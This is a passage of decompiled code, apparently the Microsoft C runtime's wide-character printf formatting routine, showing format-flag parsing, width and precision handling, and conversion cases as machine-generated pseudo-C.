													__eflags =  *(_t639 - 0x44c);
													if( *(_t639 - 0x44c) >= 0) {
														__eflags =  *(_t639 - 0x10) & 0x00000004;
														if(( *(_t639 - 0x10) & 0x00000004) != 0) {
															E004297E0(0x20,  *((intOrPtr*)(_t639 - 0x4ac)),  *((intOrPtr*)(_t639 + 8)), _t639 - 0x44c);
															_t642 = _t642 + 0x10;
														}
													}
												}
												L203:
												__eflags =  *(_t639 - 0x20);
												if( *(_t639 - 0x20) != 0) {
													L00422680( *(_t639 - 0x20), 2);
													_t642 = _t642 + 8;
													 *(_t639 - 0x20) = 0;
												}
												while(1) {
													L205:
													 *(_t639 - 0x454) =  *((intOrPtr*)( *((intOrPtr*)(_t639 + 0xc))));
													 *((intOrPtr*)(_t639 + 0xc)) =  *((intOrPtr*)(_t639 + 0xc)) + 2;
													__eflags =  *(_t639 - 0x454) & 0x0000ffff;
													if(( *(_t639 - 0x454) & 0x0000ffff) == 0) {
														break;
													}
													L2:
													__eflags =  *(_t639 - 0x44c);
													if( *(_t639 - 0x44c) < 0) {
														break;
													}
													L3:
													__eflags = ( *(_t639 - 0x454) & 0x0000ffff) - 0x20;
													if(( *(_t639 - 0x454) & 0x0000ffff) < 0x20) {
														L6:
														 *(_t639 - 0x4cc) = 0;
														L7:
														 *(_t639 - 0x450) =  *(_t639 - 0x4cc);
														_t19 =  *(_t639 - 0x450) * 8; // 0x6000006
														 *(_t639 - 0x45c) =  *( *(_t639 - 0x45c) + _t19 + 0x409130) >> 4;
														 *(_t639 - 0x4d0) =  *(_t639 - 0x45c);
														__eflags =  *(_t639 - 0x4d0) - 7;
														if( *(_t639 - 0x4d0) > 7) {
															continue;
														}
														L8:
														switch( *((intOrPtr*)( *(_t639 - 0x4d0) * 4 +  &M00429674))) {
															case 0:
																L9:
																 *(_t639 - 0xc) = 1;
																E00429780( *(_t639 - 0x454) & 0x0000ffff,  *((intOrPtr*)(_t639 + 8)), _t639 - 0x44c);
																_t642 = _t642 + 0xc;
																goto L205;
															case 1:
																L10:
																 *(__ebp - 0x2c) = 0;
																__ecx =  *(__ebp - 0x2c);
																 *(__ebp - 0x28) = __ecx;
																__edx =  *(__ebp - 0x28);
																 *(__ebp - 0x18) =  *(__ebp - 0x28);
																__eax =  *(__ebp - 0x18);
																 *(__ebp - 0x1c) =  *(__ebp - 0x18);
																 *(__ebp - 0x10) = 0;
																 *(__ebp - 0x30) = 0xffffffff;
																 *(__ebp - 0xc) = 0;
																goto L205;
															case 2:
																L11:
																__ecx =  *(__ebp - 0x454) & 0x0000ffff;
																 *(__ebp - 0x4d4) = __ecx;
																 *(__ebp - 0x4d4) =  *(__ebp - 0x4d4) - 0x20;
																 *(__ebp - 0x4d4) =  *(__ebp - 0x4d4) - 0x20;
																__eflags =  *(__ebp - 0x4d4) - 0x10;
																if( *(__ebp - 0x4d4) > 0x10) {
																	goto L18;
																}
																L12:
																_t48 =  *(__ebp - 0x4d4) + 0x4296ac; // 0x498d04
																__ecx =  *_t48 & 0x000000ff;
																switch( *((intOrPtr*)(__ecx * 4 +  &M00429694))) {
																	case 0:
																		goto L15;
																	case 1:
																		goto L16;
																	case 2:
																		goto L14;
																	case 3:
																		goto L13;
																	case 4:
																		goto L17;
																	case 5:
																		goto L18;
																}
															case 3:
																L19:
																__ecx =  *(__ebp - 0x454) & 0x0000ffff;
																__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x2a;
																if(( *(__ebp - 0x454) & 0x0000ffff) != 0x2a) {
																	__edx =  *(__ebp - 0x18);
																	__edx =  *(__ebp - 0x18) * 0xa;
																	__eflags = __edx;
																	_t72 = ( *(__ebp - 0x454) & 0x0000ffff) - 0x30; // -48
																	__ecx = __edx + _t72;
																	 *(__ebp - 0x18) = __ecx;
																} else {
																	__edx = __ebp + 0x14;
																	 *(__ebp - 0x18) = E00429820(__ebp + 0x14);
																	__eflags =  *(__ebp - 0x18);
																	if( *(__ebp - 0x18) < 0) {
																		__eax =  *(__ebp - 0x10);
																		__eax =  *(__ebp - 0x10) | 0x00000004;
																		__eflags = __eax;
																		 *(__ebp - 0x10) = __eax;
																		__ecx =  *(__ebp - 0x18);
																		__ecx =  ~( *(__ebp - 0x18));
																		 *(__ebp - 0x18) = __ecx;
																	}
																}
																L24:
																goto L205;
															case 4:
																L25:
																 *(__ebp - 0x30) = 0;
																goto L205;
															case 5:
																L26:
																__edx =  *(__ebp - 0x454) & 0x0000ffff;
																__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x2a;
																if(( *(__ebp - 0x454) & 0x0000ffff) != 0x2a) {
																	__ecx =  *(__ebp - 0x30);
																	__ecx =  *(__ebp - 0x30) * 0xa;
																	__eflags = __ecx;
																	_t83 = ( *(__ebp - 0x454) & 0x0000ffff) - 0x30; // -48
																	__eax = __ecx + _t83;
																	 *(__ebp - 0x30) = __ecx + _t83;
																} else {
																	__eax = __ebp + 0x14;
																	 *(__ebp - 0x30) = E00429820(__ebp + 0x14);
																	__eflags =  *(__ebp - 0x30);
																	if( *(__ebp - 0x30) < 0) {
																		 *(__ebp - 0x30) = 0xffffffff;
																	}
																}
																L31:
																goto L205;
															case 6:
																L32:
																__ecx =  *(__ebp - 0x454) & 0x0000ffff;
																 *(__ebp - 0x4d8) = __ecx;
																 *(__ebp - 0x4d8) =  *(__ebp - 0x4d8) - 0x49;
																 *(__ebp - 0x4d8) =  *(__ebp - 0x4d8) - 0x49;
																__eflags =  *(__ebp - 0x4d8) - 0x2e;
																if( *(__ebp - 0x4d8) > 0x2e) {
																	L55:
																	goto L205;
																}
																L33:
																_t91 =  *(__ebp - 0x4d8) + 0x4296d4; // 0x8f929003
																__ecx =  *_t91 & 0x000000ff;
																switch( *((intOrPtr*)(__ecx * 4 +  &M004296C0))) {
																	case 0:
																		L38:
																		__ecx =  *(__ebp + 0xc);
																		__edx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																		__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x36;
																		if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x36) {
																			L41:
																			__ecx =  *(__ebp + 0xc);
																			__edx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																			__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x33;
																			if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x33) {
																				L44:
																				__ecx =  *(__ebp + 0xc);
																				__edx =  *__ecx & 0x0000ffff;
																				__eflags = ( *__ecx & 0x0000ffff) - 0x64;
																				if(( *__ecx & 0x0000ffff) == 0x64) {
																					L50:
																					L52:
																					goto L55;
																				}
																				L45:
																				__eax =  *(__ebp + 0xc);
																				__ecx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																				__eflags = __ecx - 0x69;
																				if(__ecx == 0x69) {
																					goto L50;
																				}
																				L46:
																				__edx =  *(__ebp + 0xc);
																				__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
																				__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x6f;
																				if(( *( *(__ebp + 0xc)) & 0x0000ffff) == 0x6f) {
																					goto L50;
																				}
																				L47:
																				__ecx =  *(__ebp + 0xc);
																				__edx =  *__ecx & 0x0000ffff;
																				__eflags = ( *__ecx & 0x0000ffff) - 0x75;
																				if(( *__ecx & 0x0000ffff) == 0x75) {
																					goto L50;
																				}
																				L48:
																				__eax =  *(__ebp + 0xc);
																				__ecx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																				__eflags = __ecx - 0x78;
																				if(__ecx == 0x78) {
																					goto L50;
																				}
																				L49:
																				__edx =  *(__ebp + 0xc);
																				__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
																				__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x58;
																				if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x58) {
																					 *(__ebp - 0x45c) = 0;
																					goto L9;
																				}
																				goto L50;
																			}
																			L42:
																			__eax =  *(__ebp + 0xc);
																			__ecx =  *( *(__ebp + 0xc) + 2) & 0x0000ffff;
																			__eflags = __ecx - 0x32;
																			if(__ecx != 0x32) {
																				goto L44;
																			} else {
																				 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																				 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xffff7fff;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xffff7fff;
																				goto L52;
																			}
																		}
																		L39:
																		__eax =  *(__ebp + 0xc);
																		__ecx =  *( *(__ebp + 0xc) + 2) & 0x0000ffff;
																		__eflags = __ecx - 0x34;
																		if(__ecx != 0x34) {
																			goto L41;
																		} else {
																			 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																			 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00008000;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00008000;
																			goto L52;
																		}
																	case 1:
																		L53:
																		__ecx =  *(__ebp - 0x10);
																		__ecx =  *(__ebp - 0x10) | 0x00000020;
																		 *(__ebp - 0x10) = __ecx;
																		goto L55;
																	case 2:
																		L34:
																		__edx =  *(__ebp + 0xc);
																		__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
																		__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x6c;
																		if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x6c) {
																			__eax =  *(__ebp - 0x10);
																			__eax =  *(__ebp - 0x10) | 0x00000010;
																			__eflags = __eax;
																			 *(__ebp - 0x10) = __eax;
																		} else {
																			__ecx =  *(__ebp + 0xc);
																			__ecx =  *(__ebp + 0xc) + 2;
																			 *(__ebp + 0xc) = __ecx;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																		}
																		L37:
																		goto L55;
																	case 3:
																		L54:
																		__edx =  *(__ebp - 0x10);
																		__edx =  *(__ebp - 0x10) | 0x00000800;
																		__eflags = __edx;
																		 *(__ebp - 0x10) = __edx;
																		goto L55;
																	case 4:
																		goto L55;
																}
															case 7:
																L56:
																__eax =  *(__ebp - 0x454) & 0x0000ffff;
																 *(__ebp - 0x4dc) =  *(__ebp - 0x454) & 0x0000ffff;
																__ecx =  *(__ebp - 0x4dc);
																__ecx =  *(__ebp - 0x4dc) - 0x41;
																 *(__ebp - 0x4dc) = __ecx;
																__eflags =  *(__ebp - 0x4dc) - 0x37;
																if( *(__ebp - 0x4dc) > 0x37) {
																	while(1) {
																		L178:
																		__eflags =  *(_t639 - 0x28);
																		if( *(_t639 - 0x28) != 0) {
																			goto L203;
																		}
																		goto L179;
																	}
																}
																L57:
																__edx =  *(__ebp - 0x4dc);
																_t132 = __edx + 0x429740; // 0xcccccc0d
																__eax =  *_t132 & 0x000000ff;
																switch( *((intOrPtr*)(( *_t132 & 0x000000ff) * 4 +  &M00429704))) {
																	case 0:
																		L111:
																		 *(__ebp - 0x2c) = 1;
																		 *(__ebp - 0x454) & 0x0000ffff = ( *(__ebp - 0x454) & 0x0000ffff) + 0x20;
																		__eflags = ( *(__ebp - 0x454) & 0x0000ffff) + 0x20;
																		 *(__ebp - 0x454) = __ax;
																		goto L112;
																	case 1:
																		L58:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																		__eflags =  *(__ebp - 0x10) & 0x00000830;
																		if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																			__edx =  *(__ebp - 0x10);
																			__edx =  *(__ebp - 0x10) | 0x00000020;
																			__eflags = __edx;
																			 *(__ebp - 0x10) = __edx;
																		}
																		goto L60;
																	case 2:
																		L73:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																		__eflags =  *(__ebp - 0x10) & 0x00000830;
																		if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																			__ecx =  *(__ebp - 0x10);
																			__ecx =  *(__ebp - 0x10) | 0x00000020;
																			__eflags = __ecx;
																			 *(__ebp - 0x10) = __ecx;
																		}
																		goto L75;
																	case 3:
																		L134:
																		 *(__ebp - 0x460) = 7;
																		goto L136;
																	case 4:
																		L66:
																		__eax = __ebp + 0x14;
																		 *(__ebp - 0x470) = E00429820(__ebp + 0x14);
																		__eflags =  *(__ebp - 0x470);
																		if( *(__ebp - 0x470) == 0) {
																			L68:
																			__edx =  *0x44ba18; // 0x409128
																			 *(__ebp - 4) = __edx;
																			__eax =  *(__ebp - 4);
																			 *(__ebp - 0x24) = E00427150( *(__ebp - 4));
																			L72:
																			goto L178;
																		}
																		L67:
																		__ecx =  *(__ebp - 0x470);
																		__eflags =  *(__ecx + 4);
																		if( *(__ecx + 4) != 0) {
																			L69:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000800;
																			__eflags =  *(__ebp - 0x10) & 0x00000800;
																			if(( *(__ebp - 0x10) & 0x00000800) == 0) {
																				 *(__ebp - 0xc) = 0;
																				__edx =  *(__ebp - 0x470);
																				__eax =  *(__edx + 4);
																				 *(__ebp - 4) =  *(__edx + 4);
																				__ecx =  *(__ebp - 0x470);
																				__edx =  *__ecx;
																				 *(__ebp - 0x24) =  *__ecx;
																			} else {
																				__edx =  *(__ebp - 0x470);
																				__eax =  *(__edx + 4);
																				 *(__ebp - 4) =  *(__edx + 4);
																				__ecx =  *(__ebp - 0x470);
																				__eax =  *__ecx;
																				asm("cdq");
																				 *__ecx - __edx =  *__ecx - __edx >> 1;
																				 *(__ebp - 0x24) =  *__ecx - __edx >> 1;
																				 *(__ebp - 0xc) = 1;
																			}
																			goto L72;
																		}
																		goto L68;
																	case 5:
																		L112:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																		__edx = __ebp - 0x448;
																		 *(__ebp - 4) = __ebp - 0x448;
																		 *(__ebp - 0x44) = 0x200;
																		__eflags =  *(__ebp - 0x30);
																		if( *(__ebp - 0x30) >= 0) {
																			L114:
																			__eflags =  *(__ebp - 0x30);
																			if( *(__ebp - 0x30) != 0) {
																				L117:
																				__eflags =  *(__ebp - 0x30) - 0x200;
																				if( *(__ebp - 0x30) > 0x200) {
																					 *(__ebp - 0x30) = 0x200;
																				}
																				L119:
																				__eflags =  *(__ebp - 0x30) - 0xa3;
																				if( *(__ebp - 0x30) > 0xa3) {
																					__ecx =  *(__ebp - 0x30);
																					__ecx =  *(__ebp - 0x30) + 0x15d;
																					 *(__ebp - 0x20) = L00421A30( *(__ebp - 0x30) + 0x15d,  *(__ebp - 0x30) + 0x15d, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x6da);
																					__eflags =  *(__ebp - 0x20);
																					if( *(__ebp - 0x20) == 0) {
																						 *(__ebp - 0x30) = 0xa3;
																					} else {
																						__edx =  *(__ebp - 0x20);
																						 *(__ebp - 4) =  *(__ebp - 0x20);
																						 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																						 *(__ebp - 0x44) =  *(__ebp - 0x30) + 0x15d;
																					}
																				}
																				 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																				 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																				__edx =  *(__ebp + 0x14);
																				__eax =  *(__edx - 8);
																				__ecx =  *(__edx - 4);
																				 *(__ebp - 0x490) =  *(__edx - 8);
																				 *(__ebp - 0x48c) =  *(__edx - 4);
																				__ecx = __ebp - 0x40;
																				_push(E00423790(__ebp - 0x40));
																				__edx =  *(__ebp - 0x2c);
																				_push( *(__ebp - 0x2c));
																				__eax =  *(__ebp - 0x30);
																				_push( *(__ebp - 0x30));
																				__ecx =  *(__ebp - 0x454);
																				_push( *(__ebp - 0x454));
																				__edx =  *(__ebp - 0x44);
																				_push( *(__ebp - 0x44));
																				__eax =  *(__ebp - 4);
																				_push(__eax);
																				__ecx = __ebp - 0x490;
																				_push(__ebp - 0x490);
																				__edx =  *0x44ba08; // 0xae625e32
																				_push(__edx);
																				__imp__DecodePointer();
																				__eax =  *__eax();
																				__esp = __esp + 0x1c;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																				__eflags =  *(__ebp - 0x10) & 0x00000080;
																				if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																					__eflags =  *(__ebp - 0x30);
																					if( *(__ebp - 0x30) == 0) {
																						__ecx = __ebp - 0x40;
																						__eax = E00423790(__ebp - 0x40);
																						_push(__eax);
																						__ecx =  *(__ebp - 4);
																						_push( *(__ebp - 4));
																						__edx =  *0x44ba14; // 0xae625e32
																						_push(__edx);
																						__imp__DecodePointer();
																						__eax =  *__eax();
																						__esp = __esp + 8;
																					}
																				}
																				__eax =  *(__ebp - 0x454) & 0x0000ffff;
																				__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x67;
																				if(( *(__ebp - 0x454) & 0x0000ffff) == 0x67) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																					__eflags =  *(__ebp - 0x10) & 0x00000080;
																					if(( *(__ebp - 0x10) & 0x00000080) == 0) {
																						__ecx = __ebp - 0x40;
																						_push(E00423790(__ebp - 0x40));
																						__edx =  *(__ebp - 4);
																						_push( *(__ebp - 4));
																						__eax =  *0x44ba10; // 0xae625e32
																						_push(__eax);
																						__imp__DecodePointer();
																						__eax =  *__eax();
																						__esp = __esp + 8;
																					}
																				}
																				__ecx =  *(__ebp - 4);
																				__edx =  *( *(__ebp - 4));
																				__eflags =  *( *(__ebp - 4)) - 0x2d;
																				if( *( *(__ebp - 4)) == 0x2d) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																					__ecx =  *(__ebp - 4);
																					__ecx =  *(__ebp - 4) + 1;
																					__eflags = __ecx;
																					 *(__ebp - 4) = __ecx;
																				}
																				__edx =  *(__ebp - 4);
																				 *(__ebp - 0x24) = E00427150( *(__ebp - 4));
																				do {
																					L178:
																					__eflags =  *(_t639 - 0x28);
																					if( *(_t639 - 0x28) != 0) {
																						goto L203;
																					}
																					goto L179;
																				} while ( *(__ebp - 0x4dc) > 0x37);
																				goto L57;
																			}
																			L115:
																			__eax =  *(__ebp - 0x454) & 0x0000ffff;
																			__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x67;
																			if(( *(__ebp - 0x454) & 0x0000ffff) != 0x67) {
																				goto L117;
																			}
																			L116:
																			 *(__ebp - 0x30) = 1;
																			goto L119;
																		}
																		L113:
																		 *(__ebp - 0x30) = 6;
																		goto L119;
																	case 6:
																		L60:
																		 *(__ebp - 0xc) = 1;
																		__ebp + 0x14 = E00429820(__ebp + 0x14);
																		 *(__ebp - 0x458) = __ax;
																		__ecx =  *(__ebp - 0x10);
																		__ecx =  *(__ebp - 0x10) & 0x00000020;
																		__eflags = __ecx;
																		if(__ecx == 0) {
																			L64:
																			 *(__ebp - 0x448) =  *(__ebp - 0x458);
																			L65:
																			__edx = __ebp - 0x448;
																			 *(__ebp - 4) = __ebp - 0x448;
																			 *(__ebp - 0x24) = 1;
																			while(1) {
																				L178:
																				__eflags =  *(_t639 - 0x28);
																				if( *(_t639 - 0x28) != 0) {
																					goto L203;
																				}
																				goto L179;
																			}
																		}
																		L61:
																		 *(__ebp - 0x458) & 0x0000ffff =  *(__ebp - 0x458) & 0xff;
																		 *(__ebp - 0x46c) = __dl;
																		 *((char*)(__ebp - 0x46b)) = 0;
																		__ecx = __ebp - 0x40;
																		__eax = E00423790(__ebp - 0x40);
																		__ecx = __ebp - 0x40;
																		E00423790(__ebp - 0x40) =  *__eax;
																		__ecx =  *(__ebp - 0x448 + 0xac);
																		__edx = __ebp - 0x46c;
																		__eax = __ebp - 0x448;
																		__eax = E00439180(__ebp - 0x448, __ebp - 0x46c,  *(__ebp - 0x448 + 0xac), __ebp - 0x448);
																		__eflags = __eax;
																		if(__eax < 0) {
																			 *(__ebp - 0x28) = 1;
																		}
																		L63:
																		goto L65;
																	case 7:
																		L132:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																		 *(__ebp - 8) = 0xa;
																		goto L141;
																	case 8:
																		L97:
																		__eax = __ebp + 0x14;
																		 *(__ebp - 0x480) = E00429820(__ebp + 0x14);
																		__eax = E004390D0();
																		__eflags = __eax;
																		if(__eax != 0) {
																			L107:
																			__ecx =  *(__ebp - 0x10);
																			__ecx =  *(__ebp - 0x10) & 0x00000020;
																			__eflags = __ecx;
																			if(__ecx == 0) {
																				__ecx =  *(__ebp - 0x480);
																				__edx =  *(__ebp - 0x44c);
																				 *__ecx =  *(__ebp - 0x44c);
																			} else {
																				__edx =  *(__ebp - 0x480);
																				__ax =  *(__ebp - 0x44c);
																				 *( *(__ebp - 0x480)) = __ax;
																			}
																			 *(__ebp - 0x28) = 1;
																			while(1) {
																				L178:
																				__eflags =  *(_t639 - 0x28);
																				if( *(_t639 - 0x28) != 0) {
																					goto L203;
																				}
																				goto L179;
																			}
																		}
																		L98:
																		__ecx = 0;
																		__eflags = 0;
																		if(0 == 0) {
																			 *(__ebp - 0x4e4) = 0;
																		} else {
																			 *(__ebp - 0x4e4) = 1;
																		}
																		__edx =  *(__ebp - 0x4e4);
																		 *(__ebp - 0x484) =  *(__ebp - 0x4e4);
																		__eflags =  *(__ebp - 0x484);
																		if( *(__ebp - 0x484) == 0) {
																			_push(L"(\"\'n\' format specifier disabled\", 0)");
																			_push(0);
																			_push(0x695);
																			_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																			_push(2);
																			__eax = L00427590();
																			__esp = __esp + 0x14;
																			__eflags = __eax - 1;
																			if(__eax == 1) {
																				asm("int3");
																			}
																		}
																		__eflags =  *(__ebp - 0x484);
																		if( *(__ebp - 0x484) != 0) {
																			L106:
																			while(1) {
																				L178:
																				__eflags =  *(_t639 - 0x28);
																				if( *(_t639 - 0x28) != 0) {
																					goto L203;
																				}
																				goto L179;
																			}
																		} else {
																			L105:
																			 *((intOrPtr*)(L004256E0(__ecx))) = 0x16;
																			__eax = E00428500(__ecx, L"(\"\'n\' format specifier disabled\", 0)", L"_woutput_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x695, 0);
																			 *(__ebp - 0x4c4) = 0xffffffff;
																			__ecx = __ebp - 0x40;
																			__eax = E00423760(__ecx);
																			__eax =  *(__ebp - 0x4c4);
																			L207:
																			__eflags =  *(_t639 - 0x48) ^ _t639;
																			return E00425740(_t482, _t536,  *(_t639 - 0x48) ^ _t639, _t608, _t637, _t638);
																		}
																	case 9:
																		L139:
																		 *(__ebp - 8) = 8;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																		__eflags =  *(__ebp - 0x10) & 0x00000080;
																		if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																			__edx =  *(__ebp - 0x10);
																			__edx =  *(__ebp - 0x10) | 0x00000200;
																			__eflags = __edx;
																			 *(__ebp - 0x10) = __edx;
																		}
																		goto L141;
																	case 0xa:
																		L133:
																		 *(__ebp - 0x30) = 8;
																		goto L134;
																	case 0xb:
																		L75:
																		__eflags =  *(__ebp - 0x30) - 0xffffffff;
																		if( *(__ebp - 0x30) != 0xffffffff) {
																			__edx =  *(__ebp - 0x30);
																			 *(__ebp - 0x4e0) =  *(__ebp - 0x30);
																		} else {
																			 *(__ebp - 0x4e0) = 0x7fffffff;
																		}
																		__eax =  *(__ebp - 0x4e0);
																		 *(__ebp - 0x478) =  *(__ebp - 0x4e0);
																		__ecx = __ebp + 0x14;
																		 *(__ebp - 4) = E00429820(__ebp + 0x14);
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																		__eflags =  *(__ebp - 0x10) & 0x00000020;
																		if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																			L89:
																			__eflags =  *(__ebp - 4);
																			if( *(__ebp - 4) == 0) {
																				__ecx =  *0x44ba1c; // 0x409118
																				 *(__ebp - 4) = __ecx;
																			}
																			 *(__ebp - 0xc) = 1;
																			__edx =  *(__ebp - 4);
																			 *(__ebp - 0x47c) =  *(__ebp - 4);
																			while(1) {
																				L92:
																				__eax =  *(__ebp - 0x478);
																				__ecx =  *(__ebp - 0x478);
																				__ecx =  *(__ebp - 0x478) - 1;
																				 *(__ebp - 0x478) = __ecx;
																				__eflags =  *(__ebp - 0x478);
																				if( *(__ebp - 0x478) == 0) {
																					break;
																				}
																				L93:
																				__edx =  *(__ebp - 0x47c);
																				__eax =  *( *(__ebp - 0x47c)) & 0x0000ffff;
																				__eflags =  *( *(__ebp - 0x47c)) & 0x0000ffff;
																				if(( *( *(__ebp - 0x47c)) & 0x0000ffff) == 0) {
																					break;
																				}
																				L94:
																				 *(__ebp - 0x47c) =  *(__ebp - 0x47c) + 2;
																				 *(__ebp - 0x47c) =  *(__ebp - 0x47c) + 2;
																			}
																			L95:
																			__edx =  *(__ebp - 0x47c);
																			__edx =  *(__ebp - 0x47c) -  *(__ebp - 4);
																			__eflags = __edx;
																			 *(__ebp - 0x24) = __edx;
																			goto L96;
																		} else {
																			L79:
																			__eflags =  *(__ebp - 4);
																			if( *(__ebp - 4) == 0) {
																				__eax =  *0x44ba18; // 0x409128
																				 *(__ebp - 4) = __eax;
																			}
																			__ecx =  *(__ebp - 4);
																			 *(__ebp - 0x474) = __ecx;
																			 *(__ebp - 0x24) = 0;
																			while(1) {
																				L83:
																				__eax =  *(__ebp - 0x24);
																				__eflags =  *(__ebp - 0x24) -  *(__ebp - 0x478);
																				if( *(__ebp - 0x24) >=  *(__ebp - 0x478)) {
																					break;
																				}
																				L84:
																				__ecx =  *(__ebp - 0x474);
																				__edx =  *__ecx;
																				__eflags =  *__ecx;
																				if( *__ecx == 0) {
																					break;
																				}
																				L85:
																				__ecx = __ebp - 0x40;
																				E00423790(__ebp - 0x40) =  *(__ebp - 0x474);
																				__ecx =  *( *(__ebp - 0x474)) & 0x000000ff;
																				__eax = E00439110( *( *(__ebp - 0x474)) & 0x000000ff,  *(__ebp - 0x474));
																				__eflags = __eax;
																				if(__eax != 0) {
																					__edx =  *(__ebp - 0x474);
																					__edx =  *(__ebp - 0x474) + 1;
																					__eflags = __edx;
																					 *(__ebp - 0x474) = __edx;
																				}
																				 *(__ebp - 0x474) =  *(__ebp - 0x474) + 1;
																				 *(__ebp - 0x474) =  *(__ebp - 0x474) + 1;
																				__edx =  *(__ebp - 0x24);
																				__edx =  *(__ebp - 0x24) + 1;
																				__eflags = __edx;
																				 *(__ebp - 0x24) = __edx;
																			}
																			L88:
																			L96:
																			while(1) {
																				L178:
																				__eflags =  *(_t639 - 0x28);
																				if( *(_t639 - 0x28) != 0) {
																					goto L203;
																				}
																				goto L179;
																			}
																		}
																	case 0xc:
																		goto L0;
																	case 0xd:
																		L135:
																		 *(__ebp - 0x460) = 0x27;
																		L136:
																		 *(__ebp - 8) = 0x10;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																		__eflags =  *(__ebp - 0x10) & 0x00000080;
																		if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																			__edx = 0x30;
																			 *((short*)(__ebp - 0x14)) = __dx;
																			 *(__ebp - 0x460) =  *(__ebp - 0x460) + 0x51;
																			__eflags =  *(__ebp - 0x460) + 0x51;
																			 *(__ebp - 0x12) = __ax;
																			 *(__ebp - 0x1c) = 2;
																		}
																		goto L141;
																	case 0xe:
																		while(1) {
																			L178:
																			__eflags =  *(_t639 - 0x28);
																			if( *(_t639 - 0x28) != 0) {
																				goto L203;
																			}
																			goto L179;
																		}
																}
															case 8:
																L15:
																__ecx =  *(__ebp - 0x10);
																__ecx =  *(__ebp - 0x10) | 0x00000002;
																 *(__ebp - 0x10) = __ecx;
																goto L18;
															case 9:
																L16:
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
																goto L18;
															case 0xa:
																L14:
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000001;
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000001;
																goto L18;
															case 0xb:
																L13:
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																goto L18;
															case 0xc:
																L17:
																__eax =  *(__ebp - 0x10);
																__eax =  *(__ebp - 0x10) | 0x00000008;
																__eflags = __eax;
																 *(__ebp - 0x10) = __eax;
																goto L18;
															case 0xd:
																L18:
																goto L205;
														}
													}
													L4:
													__eflags = ( *(_t639 - 0x454) & 0x0000ffff) - 0x78;
													if(( *(_t639 - 0x454) & 0x0000ffff) > 0x78) {
														goto L6;
													} else {
														 *(_t639 - 0x4cc) =  *(( *(_t639 - 0x454) & 0x0000ffff) + 0x409110) & 0x0000000f;
														goto L7;
													}
												}
												L206:
												 *(_t639 - 0x4c8) =  *(_t639 - 0x44c);
												E00423760(_t639 - 0x40);
												_t482 =  *(_t639 - 0x4c8);
												goto L207;
											}
										}
										L175:
										__eflags =  *(_t639 - 0x24);
										if( *(_t639 - 0x24) == 0) {
											L177:
											 *((intOrPtr*)(_t639 - 4)) =  *((intOrPtr*)(_t639 - 4)) - 1;
											 *((char*)( *((intOrPtr*)(_t639 - 4)))) = 0x30;
											_t579 =  *(_t639 - 0x24) + 1;
											__eflags = _t579;
											 *(_t639 - 0x24) = _t579;
											goto L178;
										}
										L176:
